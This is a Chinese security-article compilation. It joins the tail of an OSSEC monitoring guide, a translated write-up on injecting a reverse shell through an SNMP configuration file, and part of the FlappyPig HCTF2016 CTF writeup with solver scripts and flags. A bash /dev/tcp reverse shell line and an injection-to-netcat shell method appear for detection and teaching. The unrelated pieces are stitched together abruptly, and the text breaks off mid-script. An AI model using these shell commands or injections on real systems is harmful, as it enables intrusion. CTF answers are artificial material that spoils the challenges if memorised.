[root@localhost tmp]# tar zxvf ossec-wui-0.9.tar.gz
[root@localhost tmp]# mv ossec-wui-0.9 /var/www/html/ossec-wui
[root@localhost tmp]# cd /var/www/html/ossec-wui
[root@localhost ossec-wui]# ./setup.sh
Setting up ossec ui...
Username: vincent
New password:
Re-type new password:
Adding password for user vincent
Enter your web server user name (e.g. apache, www, nobody, www-data, ...)
apache
You must restart your web server after this setup is done.
Setup completed successfully.
[root@localhost ossec-wui]# service httpd start
## **0x05 监控扩展**
综合上述OSSEC的一些功能点，我们可以扩展一些其他的监控进来，通过OSSEC告警。这里我举几个例子：
1）存在连接的Bash进程
通常情况下Bash进程是不会存在连接状态的，其父进程SSHD存在网络连接，如下：
[root@sec248 cron.daily]# ps -ef | grep bash | grep -v grep
root 41011 41009 0 08:42 pts/4 00:00:00 -bash
root 45984 45982 0 Dec21 pts/1 00:00:00 -bash
[root@sec248 cron.daily]# netstat -antlp | grep sshd | grep EST
tcp 0 64 10.59.0.248:22 192.168.190.201:52947 ESTABLISHED 41009/sshd
tcp 0 0 10.59.0.248:22 192.168.190.201:2164 ESTABLISHED 45982/sshd
而反弹shell时，反弹命令
bash -i >& /dev/tcp/192.168.192.144/2345 0>&1，
我们看一下反弹连接
[root@server120 ~]# netstat -antlp | grep bash
tcp 0 0 192.168.192.120:34710 192.168.192.144:2345 ESTABLISHED 15497/bash
可以看到存在Bash连接，那么我们添加OSSEC的监控项
<localfile>
<log_format>full_command</log_format>
<command>netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'</command>
</localfile>
### 待补充
2）ssdeep检测webshell
3）Auditd监控Web中间件
4）ClamAV查杀部署 | 社区文章 |
# SNMP配置文件注入获取shell
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 测试过程
前不久，我在测试一个web应用时，发现可以注入任意内容到SNMP配置文件中，然后利用更新的配置文件来重启服务；我已经能够通过web接口修改社区字符串(community
string:人类可读的字符串数据值)并且允许访问任意IP，我个人感觉觉得这个发现虽然挺有意思，但是也很low。我跟我的朋友Sandro
Gauci说到这个情况，恰巧他有所了解，并说当以特定方式访问SNMP服务器时可以让服务器执行shell命令。这听起来就很有意思了，比只是向配置文件中写入几行东西好玩多了，于是我开始深挖。
我已经知道服务器是Debian系统(是的，这些低级信息泄露迟早有用)，这就意味着它很可能运行着标准的Net-SNPM软件包，一番搜索之后，我找到了一篇非常有用的博文,博文地址：<http://net-snmp.sourceforge.net/wiki/index.php/Tut:Extending_snmpd_using_shell_scripts>
初始配置文件非常简单，内容如下：
我可以往里添加新的内容，如写入不同的IP地址或者查找他们的社区字符串，如图：
通过阅读上面那篇博文，我知道添加的内容的格如下：
这会告诉SNMP服务当有人向它请求扩展信息时执行echo命令并且返回输出内容，还带有扩展参数名test。由此，我提交了如下内容：
中间的%0a%0d会解码成换行和回车，解码后配置文件如下：
现在连接服务器看看是否有效：
完犊子，报错了，报错内容如下：
怎么办捏，找原因呗，查找了大量文章后，我看到了这篇文章：
<https://l3net.wordpress.com/2013/05/12/installing-net-snmp-mibs-on-ubuntu-and-debian/>
这篇文章解释了出错是因为证书问题，Ubuntu只能处理可用MIBs(管理信息库)的子集合，如果要使用完整MIBs的话，需要安装额外软件包并且更新客户端配置文件。
安装完成后，我又试了一遍，结果如下：
大功告成，MIB更新后生效，echo命令也得以执行，我也获取到了输出内容。
除了输出内容外，可能还会伴随着报错信息，报错位置如图：
不过不用担心，这并不会影响我们的操作。如果你想让它不报错的话，可以瞅瞅下面这篇文章：
<https://docs.linuxconsulting.mn.it/notes/net-snmp-errors>
万事俱备，只欠东风，现在要做的就是getshell；
恰巧Debian系统中的Netcat包版本中有 –e 参数(再次证明信息泄露的重要性，一些Linux发行版自带的Netcat版本没有 –e
参数，你需要利用其它技巧)；
利用这个参数，我向配置文件中注入了一个简单的反弹shell命令，设置好我的监听器后重新执行snmpwalk命令。最终SNMP配置文件如下：
Netcat设置监听：
输入Snmpwalk命令来触发：
这里出现了超时退出，处理请求的SNMP线程阻塞了shell并且没有返回，所以客户端放弃等待，超时退出。
最后一点，SNMP服务并没有设置路径，所以所有命令和文件都必须使用绝对路径，如/bin/nc，而不是直接使用nc命令
## 防御措施
1.因为社区字符串可以使用哪些字符并没有进行正式定义，不过很多公司有他们自己定义的标准。绝大部分都允许字母数字字符集和一些特殊符号。
所以你可以定义自己的字符集，然后写个正则来检查输入就是小菜一碟了。
2.删除或者编码已知恶意字符，比如换行符。这样做比较麻烦，你需要想到所有可能的恶意字符，如果漏掉一个，攻击者便可以利用它来攻击你。
话虽如此，但是增加一个函数调用来删除换行符并不会增加多大开销并且在这个案例中能够保护你的客户端。
文章到此结束，这就是从一个简单的文件注入到getshell的全部过程，希望各位看官喜欢。 | 社区文章 |
# 【CTF攻略】FlappyPig HCTF2016 Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **FlappyPig**
****](http://bobao.360.cn/member/contribute?uid=1184812799)
**预估稿费：600RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 **[
**网页版**](http://bobao.360.cn/contribute/index)** 在线投稿**
**Flip**
**一．本题是一个linux下的qt程序。**
主要分成三个部分
1.一个多阶Flip game
2.一个三阶错乱的Flip game
3.一个内存中执行的三阶Flip game,执行操作由第二个游戏的步子有关。
**二．第一关游戏很简单，从主对角线开始一直走对角线即可。**
或者爆破406035这个位置
**三．第二关是一个错位的Flip game**
所谓的错乱就是错乱了逻辑，例如一个正常的3*3 Flip逻辑为
1 2 3 1 3 2
4 5 6 错乱之后为 7 9 8
7 8 9 4 6 5
第二关最多只能有7步，超过7步就算失败
所以需要遍历出第二关所有的走法
所有可能如下
[1, 3, 2, 9, 4, 5, 3]
[1, 3, 2, 9, 5, 3, 4]
[1, 3, 2, 9, 5, 4, 3]
[1, 7, 4, 9, 2, 5, 7]
[1, 7, 4, 9, 5, 2, 7]
[1, 7, 4, 9, 5, 7, 2]
[2, 1, 7, 4, 9, 5, 7]
[2, 7, 9, 4, 5, 7, 1]
[2, 7, 9, 5, 4, 7, 1]
[2, 9, 7, 4, 5, 7, 1]
[2, 9, 7, 5, 4, 7, 1]
[3, 4, 9, 2, 5, 3, 1]
[3, 4, 9, 5, 2, 3, 1]
[3, 9, 2, 5, 3, 1, 4]
[3, 9, 5, 2, 3, 1, 4]
[4, 1, 3, 2, 9, 5, 3]
[4, 3, 9, 2, 5, 3, 1]
[4, 3, 9, 5, 2, 3, 1]
[4, 9, 3, 2, 5, 3, 1]
[4, 9, 3, 5, 2, 3, 1]
[7, 2, 9, 4, 5, 7, 1]
[7, 2, 9, 5, 4, 7, 1]
[7, 9, 4, 5, 7, 1, 2]
[7, 9, 5, 4, 7, 1, 2]
[9, 3, 2, 5, 3, 1, 4]
[9, 3, 5, 2, 3, 1, 4]
[9, 7, 4, 5, 7, 1, 2]
[9, 7, 5, 4, 7, 1, 2]
**四 **．** 过了第二关之后出现一个flag提交窗口，submit的按钮事件位于sub_407170**
判断输入的长度是不是为32之后调用函数sub_406a80
在sub_406a80中会根据第二关的步骤，去解码第三关的执行步骤。
第二关的走法会影响后续的走法解码（因为之前是直接爆破的所及在在这里卡了很久）。
第二关走的位置和对应的内存数据对应关系如下:
1=>0，2=>2，3=>1，4=>6，5=>8，7=>3，9=>4
得到被分解之后的key，所谓分解就是
将输入的ascii分解，成两个字节的的表示，低位放低位高位放高位。
例如
输入 1234
Ascii 31 32 33 34
分解 01 03 02 03 03 03 04 03
之后会判断key的后六位
最后六位为74343}
然后定位到分解后的key第一位和分解后key的倒数第七位，获取以后传入sub_406780,也就是game3_flip,最后从头部和尾部往中间逼近。
本题最主要的逻辑在函数sub_406780处
分析后函数如下
主要逻辑已经注释，就是传入a2,a3两个参数用来控制flip
game的起始状态，a4是解码后的game3_steps,在game3_steps中遇到0即进行判断是否灯全灭。
由于可以知道forword_char的第一位是8（h分解为08和06），那么可以推测第一步flip的初始状态为
FF FF 00 00 FF 00
00 00 00 或者 00 00 00
00 00 00 00 00 00
用之前获得的走法去解码，game3_steps打印出第一个0之前有效操作。
可以看到一个符合条件的走法
8310，对应的Game2_step
[4, 9, 3, 5, 2, 3, 1]
解码后的Game3_step
8,3,1,0,
9,7,5,3,1,0,
9,7,2,0,
9,7,2,0,
8,3,1,0,
4,9,0,
6,1,0,
4,2,5,1,0,
7,6,0,
4,9,0,
9,7,2,0,
9,7,5,3,1,0,
9,7,5,3,1,0,
4,9,0,
5,3,6,2,0,
9,7,5,3,1,0,
8,3,1,0,
7,5,8,4,0,
5,3,6,2,0,
9,7,5,3,1,0,
8,6,9,5,0,
8,3,1,0,
5,3,6,2,0,
9,7,5,3,1,0,
9,7,5,3,1,0,
4,9,0,
6,1,0,
9,7,5,3,1,0,
9,7,5,3,1,0,
4,9,0,
6,1,0,
9,7,5,3,1,0,
7,6,0,
8,3,1,0,
9,7,2,0,
9,7,2,0,
7,6,0,
4,9,0,
6,1,0,
4,2,5,1,0,
8,3,1,0,
7,5,8,4,0,
5,3,6,2,0,
9,7,2,0,
8,3,1,0,
7,5,8,4,0,
5,3,6,2,0,
9,7,5,3,1,0,
8,6,9,5,0,
7,5,8,4,0,
9,7,2,0,
9,7,5,3,1,0,
7,6,0,
8,3,1,0,
9,7,2,0,
4,2,5,1,0,
9,7,5,3,1,0,
7,5,8,4,0,
6,1,0,
9,7,5,3,1,0,
7,6,0,
8,3,1,0,
5,3,6,2,0,
9,7,5,3,1,0,
9,7,5,3,1,0,
9,7,5,3,1,0,
6,1,0,
9,7,5,3,1,0,
7,6,0,
4,9,0,
6,1,0,
9,7,5,3,1,0,
8,3,1,0,
9,7,5,3,1,0,
6,1,0,
9,7,2,0,
8,3,1,0,
4,9,0,
6,1,0,
4,2,5,1,0,
7,6,0,
4,9,0,
9,7,2,0,
9,7,5,3,1,0,
8,6,9,5,0,
8,3,1,0,
9,7,5,3,1,0,
9,7,5,3,1,0,
8,6,9,5,0,
4,9,0,
6,1,0,
9,7,2,0,
7,6,0,
9,7,5,3,1,0,
5,3,6,2,0,
4,2,5,1,0,
8,3,1,0,
4,9,0,
5,3,6,2,0,
9,7,5,3,1,0,
8,3,1,0,
8,3,1,0,
5,3,6,2,0,
9,7,5,3,1,0
根据走法获得初始化矩阵：
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 1]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 1]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 1]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 1]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 1]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
每四个组确定两个半字节，相当于一个字节，一共104组可以获得26字节，加上前面的6字节获得全部32字节
然后就是去推出，输入的forward_char和back_char了，由于限制在0f之中所以使用爆破的方式
脚本如下
init = [2, 0, 128, 128, 2, 6, 192, 256, 3, 6, 128, 0, 0, 6, 64, 0, 2, 4, 64, 0, 1, 2, 64, 0, 0, 6, 192, 0, 0, 6, 192, 0, 3, 2, 128, 128, 3, 6, 192, 256, 2, 4, 64, 128, 2, 4, 64, 0, 1, 4, 128, 0, 3, 2, 128, 256, 0, 4, 192, 0, 3, 2, 64, 0, 0, 0, 192, 0, 3, 6, 192, 0, 2, 0, 192, 128, 2, 6, 192, 256, 3, 6, 128, 0, 1, 2, 0, 0, 1, 6, 192, 128, 3, 0, 64, 256, 2, 6, 64, 0, 2, 2, 64, 0]
key = [0,0,0,0]
list1 = [0,1,6,7]
list2 = [1,2,7,8]
#tmp = ['h','c','t','f','{']
list3 = [None]*52
list3[0] = ord('h')&0x0f
list3[1] = (ord('h')&0xF0)>>4
list3[2] = ord('c')&0x0f
list3[3] = (ord('c')&0xF0)>>4
list3[4] = ord('t')&0x0f
list3[5] = (ord('t')&0xF0)>>4
list3[6] = ord('f')&0x0f
list3[7] = (ord('f')&0xF0)>>4
list3[8] = ord('{')&0x0f
list3[9] = (ord('{')&0xF0)>>4
print len(init)
for k in range(26):
for i in range(256):
for l in range(4):
z = 0
v8 = (i&0xF0)>>4
if (k<10):
v7 = list3[k]&0x0F
else :
v7 = (i&0x0F)
if (v7&(1<<l)!=0):
z |= (1<<list1[l])
if (v8&(1<<l)!=0):
z |= (1<<list2[l])
#print "z=",bin(z)
if (z==init[k*4+l]):
print i
print l
if (l==3):
print k*4+l,v8,v7
list3[k] = v7
list3[51-k] = v8
print "z=",bin(z)
break
else:
break
if (z!=init[k*4+l]) and i==255:
print "error"
print list3
得到结果
重新编码后为
Hctf{L1ttl3_f1lip_Game3_for_
加上的前面的74343}
最后为
Hctf{L1ttl3_f1lip_Game3_for_74343}
**前年的400分**
关键位置sub_401090,用ida f5之后，整理数据可得
是一个多元一次方程组的形式，写脚本把每个未知数的系数提取出来建立矩阵，判断结果也提取出来建立矩阵，交给matlab即可得到答案。
**Crypto So Interesting**
题目中t，e是关于bt的逆元，直接求出t。u 1024bit，ut是phi n的一对逆元，直接wiener attack，跑出u。
ut是phi n的倍数，直接暴力跑phi n，得到phi n，解d，得到flag：
bt=536380958350616057242691418634880594502192106332317228051967064327642091297687630174183636288378234177476435270519631690543765125295554448698898712393467267006465045949611180821007306678935181142803069337672948471202242891010188677287454504933695082327796243976863378333980923047411230913909715527759877351702062345876337256220760223926254773346698839492268265110546383782370744599490250832085044856878026833181982756791595730336514399767134613980006467147592898197961789187070786602534602178082726728869941829230655559180178594489856595304902790182697751195581218334712892008282605180395912026326384913562290014629187579128041030500771670510157597682826798117937852656884106597180126028398398087318119586692935386069677459788971114075941533740462978961436933215446347246886948166247617422293043364968298176007659058279518552847235689217185712791081965260495815179909242072310545078116020998113413517429654328367707069941427368374644442366092232916196726067387582032505389946398237261580350780769275427857010543262176468343294217258086275244086292475394366278211528621216522312552812343261375050388129743012932727654986046774759567950981007877856194574274373776538888953502272879816420369255752871177234736347325263320696917012616273L
n=0xea9c2c15896c2353cea7d6eeccc80ce89ca7324fdba7768ebfd10577c599b6eafaed93e719b6d69215af1c3e59d1930a71fb872ef22d28de9ffceedb854f7c10996256621d5e8941934eb284375b3b773b87ee8ded799318c8d0323e8bf98495b76336ee136a650a57fbe710666178343e77e79cb3a7d28e8c2dfba4b85105f7a381d39c163ee79246248c0402f4d9b25404a22daf5e64d0a72454649643af2d3bde001a7f127203cfc9a34bb993c3e1a532115ec53cb679e618d46832922d72f7f67e2b627c077c2f366ef7f0828a3c64895291e00b98413e6e28eca033b896703fad3bf133f34ed6e1a6fc641b33da0df745c1ecf421a058c2a7e44becf1f07fadf1eacf18810c56473e6d59a6af8221d1ae6e0547f1014018c90f175441e7efa724112a5949e6860358176ecfc4b42c0653df56ed4c52cfd44d7e02326400bcc66040bb6d7a7ed149da2eec485d9c2f84080fff045eeedbf7109aacdb4aa4e5c0c6884b57c0c86c22e934f8fc18369e19206fc52a618b892e3eb97f01d8d438bd61291823ce1d08e6af084e5a9fe528db5eead2eefa4ed3812faa48eab7aaa3430bdaa7bed31d4949391efbaadc8c57d02443388c1f028823d4fd0b9ab5548136a86974badf987369411a93c40af8d7a66d21575fdd9ef90b1ab2a1cbea1bd4b5f9ea44e081f138ffb743153f6047d63f1311d93a3f4dd0fa6791e0f881c3L
e=0x1f11d804be3e294d0f537fc8c945f2b39fe27ec62a0b5d65c8b2d8fdd7e90cebd767b3d2de457cc580454e8359857bbd512e8a41124388dd0cd051c58e0db39b9f55a0d48296df58721fdff8694691436f274e6b1307a9be83b097b9cd05679f7b7a0c2689352f254bc18f1965863c77d034fc9736744a2b2da3a5fead5ce1a9691e655fb36ba12584d49f332a024f75923ec5752a49f53a097bada8de98bd0e58062c74b92d19f08aaa13f130cba42acd72c374de64b66374f099bb693d68023bc6f75be6df31d01dd182317439c2ff73bb8e3af7751a65ae7d69197f9c1764430dc9e49cb5ea5e93867a5d695626ff5fe23283ae8a758a0ba902512cd6e57061644f774200dc44b1b50402306332d3483bc8000f7aa6247fc064efc27431effe78e85fd83e2c314b0d98a40d47e6a0266e0fed9a800adab382d0fe1881130784167a3d36b1f3b3f3d2aba31c86e2c037da5a79289bbb868f6bed4d76bed0bb5a2b317d05be1b64895a9bfad508a6cd36c26510731810ef712e06df60ba09097951b1b401a84ef3feb953de7325b8a4854ca512eaf93e50baf6b1f641d559e529ce0fbbf0856658e2256d123067ae68416ac6a544475652ee28afa243566ad52ce19380f1f8f69991186ea0ec5495b646fa96702586ac24ebe614cfdd765dd3a79be12344c19ac316eea13006deef635daa2cba1b8396d854287c2b80d6dd45L
c=0xc6a7aa2373cb91df3028341d64bc173ac97ebcdb77cbc93276050e428bc96b4b639296a815641e9281d8ba1028cdc395877889e5b39a30f13682f4bee5026ab1a63218b1a099fb1364bf0040bb5769c92aad8f9215b7ff4d3b51a37f6384124d761f4cc1fd12da4e4c165896b78496ef1a71e1e3d8370469ebfcbe3e611a1573b6a89a07942b86727a79ad57fb14c67826a546acf8d12bb7411f0c1aba989a80c7b24afb5ebc216beda3eeb90894459c984a2f6b31ea755481c7fed9c14e2f9497ce99fc68e085bd8ad6841b37556d7bb8282ae0b4bf3160f99f6f9cc7b762548f7cc82d8aa656df5cf1178bfa4f237bfd71c8303a4277aea97df59606455c2050778d62b9803c87411f49c1816dacb1b1337647082f00983d167204d2c20b3cabc603fe0746d5110dff5a7beac602d5d3552757c7ffdc53132d913b810861f807861b41931dc244a2391f17456962080c010bb781a88de38778aacd4c4fed7c8be701c45eab643202c6ee0794167accd911103ab0310c1e3a7301b8d0b011b11da3d19defb8fb7e43f290a96a376115a58463d2629ed56955fcba4255295a35888534cd9118c006d3be48d3309a988f6d10b98d53a3f2fcfe3cc2ece34a6938e7b638a09120bf8b43ec1ab5411918f00f7951120e706bd2d3fcbf3b02420b76607275855b0f1013617907bd97611941a3b59b303c2f269cfb9efda02b720781L
import primefac
t=primefac.modinv(e,bt)%bt
u=211757679145028339938159484490447515548960143376668686540553739283248408071060409284215944478501055427457658526200153976152365874273290079822453866683250687702248578806253044320606491556393838710622190294900967609883011924833456481340748552987157053533389305302512414202183400445958479477845751
print u*t-1
def num2str(num):
tmp=hex(num)[2:].replace("L","")
if len(tmp) % 2 == 0:
return tmp.decode("hex")
else:
return ("0"+tmp).decode("hex")
last=(u*t-1) % ((2**6)*3*5*7*13*19*73*151*163*1693*3853*9941)
all=[2,2,2,2,2,2,3,5,7,13,19,73,151,163,1693,3853,9941,last]
for i1 in all:
testphin=(u*t-1)/i1
try:
d=primefac.modinv(e,testphin)%testphin
except:
continue
print pow(c,d,n)
print num2str(pow(c,d,n))
**Crypto So Cool**
gen_key中看出n的第128比特到128+640bit是u，也就是p的前面640个bit。以前弄格基规约的时候用过的一份github上的sage代码可解：
<https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/coppersmith.sage>
解出的是pbar-p，用pbar减去该值即可。
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import DES
key = "abcdefg1"
def pi_b(x, m):
'''
m:
1: encrypt
0: decrypt
'''
enc = DES.new(key)
if m:
method = enc.encrypt
else:
method = enc.decrypt
s = long_to_bytes(x)
sp = [s[a:a+8] for a in xrange(0, len(s), 8)]
r = ""
for a in sp:
r += method(a)
return bytes_to_long(r)
def num2str(num):
tmp=hex(num)[2:].replace("L","")
if len(tmp) % 2 == 0:
return tmp.decode("hex")
else:
return ("0"+tmp).decode("hex")
n=0xa3f7fc8a9cdbf7029c529178d96cbf2228e36fbd704a7d383695f6e8eb54cfd58f2c13c55a5d0dae2be170865f92624c183e20d31e2d8c5a9b1481d32fd19f4e4f90fc4cea43238cd8c613bda744812361d5f4fdee12721a7e464fad69bdb5a8c5b687e2ae2f203cc620a096ad11ecf2bf155bf4f1c10dff7384a4a566965d6257a6dd588d223985c042947ee5ea5ff003283cb6bf89771901b2f1b1c890895861a1461b22639c1635abc50779fe5163eec1ffff9733bca4c33f593d4dfecfdca03d4cc2e220b2f323d1c3eec12889a23d1b0d5c00ae8070cb2d09a972ab23d0b4d70824335569eaa51539c3557b14972bcc1dd794e0ff997bb032acce40e567L
e=0x10001
e2=0x76b3
c=0x48c22e2c71354fc7b6b9237e1e14563c9144243ffbef424c39fd1ee293fcf6569d0edc0ad807deaf1d47b34bcad0e7aeff5cf6efa39445773c1743b31ee4c70cff62f5906a14efdc74304258950f1dddb09ffac8d683d7d9ab436430bd4ff643bb51767632c002c97d75559b5ac4dda6cc1c1426b0d992b0783f6b7f521a1fb96ccd41078fde1d76e0509d7828fc50673a668e99889ef729d68260b2c458356fcbcdb0af21da831eeb06c98a48dc235b1d46e6451b4d22a2668e5b429534cfedbd1dbdb8ace6323844c9a52eb9dc8dfe9d26268f180d8e5f27d5fc7ee7e0022a4879cc68a0c9a46129bd25eac5758088a6cdc33d9458f72b381d931c212be51L
u=int(bin(n)[2:-1][128:128+640],2)
p4=pi_b(u,0)
print bin(p4)
temp="1101111100001101011101100001010001101110000110001111111100010100111000010001110001011100000111001000111100000010101101011011010010011101001100111010010100011010111011001001111101000111111111110101101100010101111111111101111100100000010010111011010100000111001101010001110101010111100010001100010111111001001110010010011101100001001011111101011110111011011111000100010000111001000101011101001110100011110100101010100000001001101011111111100011110010010110111000111001010010111101111110001001010101001101101000000101011010000011100001001100000011111011011010000110010100111000011101110000110001010010010000010111000111100110010111110010111111"
temp2="1"*384
print len(temp+temp2)
qbar =int(temp+temp2,2)
cha=15483423385776591648944200564143931994102240603631297038751816607837858072316729972685015604287550574333116738645234
q=qbar-cha
p=n / q
import primefac
d1=primefac.modinv(e,(p-1)*(q-1)) % ((p-1)*(q-1))
d2=primefac.modinv(e2,(p-1)*(q-1)) % ((p-1)*(q-1))
print d1
print d2
t1=pow(c,d1,n)
t2=pow(c,d2,n)
print num2str(t2)
**Crypto So Amazing**
首先t是n的前1024bit，yu是t的前半部分，yl是t的后半部分，通过如下方法可以计算出spub和spriv：
t=int(bin(n)[2:][0:1024],2)
yu=int(bin(t)[2:][0:512],2)
yl=int(bin(t)[2:][512:],2)
xu=F_hash(yl)^yu
xl=H_hash(xu)^yl
spub=int(bin(xl)[len(bin(xl))-256:len(bin(xl))],2)
spriv=pow(spub,b,P)
print spriv
spriv作为种子进行了若干次随机生成了p，不知道随机的次数，后面本以为和2差不多，但是第一次是被sage和python的random的序列不一样坑了。解决了这个问题后，发现还是解不出来。后爆出一个hint，给了一个不够2/3bit的泄露也可以解的脚本，而后跑出。
from rrr import get_p4
n = 0xf7a8a487bc5c8127ac30cfbfc08e042580f359edce3db416b8a9abcb0e8dcac5404bb0eea3076966a78bb8e726e6fea79d305cc7c2cddb3dd2578a64b5591df1c9716878f35f1967398861cb368886b60c6d0c2984be3ead8dcdd80d68bb094805068b5d157c16d2b56cf0c3f06797b07bf3a7ab2a5099762958feaf72a212a63c74a4fb7da4092e6a91e72bf74ee961b995545891290c50cb28151b540efdedef9d4cc1c104758050c21dda8be8310fc7e005a08cedbcc8500fe0f9fdaa044e7cb07387060358add1d82521b5f8697b6a8ca2bd19a363bae7558e94404a1c4b82ee98878f9dff0e21030e020c698778aa645001f4c7726d3ac04720295975c9L
pbits = 1024
g_p = get_p4()
while True:
p4 = g_p.next()
#p4 = 0x81a722c9fc2b2ed061fdab737e3893506eae71ca6415fce14c0f9a45f8e2300711119fa0a5135a053e654fead010b96e987841e47db586a55e3d4494613aa0cc4e4ab59fc6a958b5
kbits = pbits - 576
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
x0 = f.small_roots(X=2^kbits, beta=0.4)
if len(x0) == 0:
continue
print "x: %s" %hex(int(x0[0]))
p = p4+x0[0]
print "p: ", hex(int(p))
assert n % p == 0
q = n/int(p)
print "q: ", hex(int(q))
print "p4: ", hex(p4)
break
生成p直接计算：
from Crypto.Util.number import size, getPrime, long_to_bytes, bytes_to_long, isPrime, getRandomNBitInteger
from hashlib import sha512
